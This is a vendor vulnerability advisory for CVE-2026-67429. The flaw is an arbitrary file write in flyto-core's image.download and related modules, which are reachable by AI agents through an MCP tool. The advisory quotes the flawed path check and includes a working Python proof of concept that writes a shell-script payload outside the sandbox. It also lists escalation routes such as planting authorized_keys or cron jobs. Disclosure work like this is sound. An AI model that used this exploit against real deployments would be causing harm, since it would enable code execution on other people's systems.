CVE-2026-67429

CVE-2026-67429 is a critical-severity path traversal vulnerability in flyto-core (pip), affecting versions < 2.26.7. It is fixed in 2.26.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)

image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.

Affected code

src/core/modules/atomic/image/download.py:

output_path = params.get('output_path')
output_dir  = params.get('output_dir', '/tmp')   # caller-controlled base
...
base_real   = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes
...
content = await response.read()                   # attacker-hosted bytes
with open(target_real, 'wb') as f:
    f.write(content)

commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.

This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.

Reproduction

Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.

#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"

class Content(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
    def log_message(self, *a): pass

async def run(mid, params):
    from core.modules.registry import ModuleRegistry
    try:
        return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
    except Exception as e:
        return ("EXC", f"{type(e).__name__}: {e}")

async def main():
    from core.modules.atomic import register_all
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
    root = tempfile.mkdtemp(prefix="flyto_poc_")
    sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
    escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
    os.environ["FLYTO_SANDBOX_DIR"] = sandbox
    target = os.path.join(escape, "pwned")   # OUTSIDE the sandbox
    print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
    print("B) image.download:", await run("image.download", {
        "url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
    print("file written outside sandbox?", os.path.exists(target))
    if os.path.exists(target):
        print("content:", open(target, "rb").read())

if __name__ == "__main__":
    asyncio.run(main())

Output:

A) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'

file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.

Reachability (why this is not operator self-service)

output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.

Impact

Write arbitrary content to an arbitrary path outside the operator's sandbox, overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-67429 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.26.7); upgrading removes the vulnerable code path.

Affected versions

flyto-core (< 2.26.7)

Security releases

flyto-core → 2.26.7 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.

Frequently Asked Questions

  1. What is CVE-2026-67429? CVE-2026-67429 is a critical-severity path traversal vulnerability in flyto-core (pip), affecting versions < 2.26.7. It is fixed in 2.26.7. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-67429? CVE-2026-67429 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of flyto-core are affected by CVE-2026-67429? flyto-core (pip) versions < 2.26.7 is affected.
  4. Is there a fix for CVE-2026-67429? Yes. CVE-2026-67429 is fixed in 2.26.7. Upgrade to this version or later.
  5. Is CVE-2026-67429 exploitable, and should I be worried? Whether CVE-2026-67429 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-67429 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-67429? Upgrade flyto-core to 2.26.7 or later.

Other vulnerabilities in flyto-core

Stop the waste.
Protect your environment with Kodem.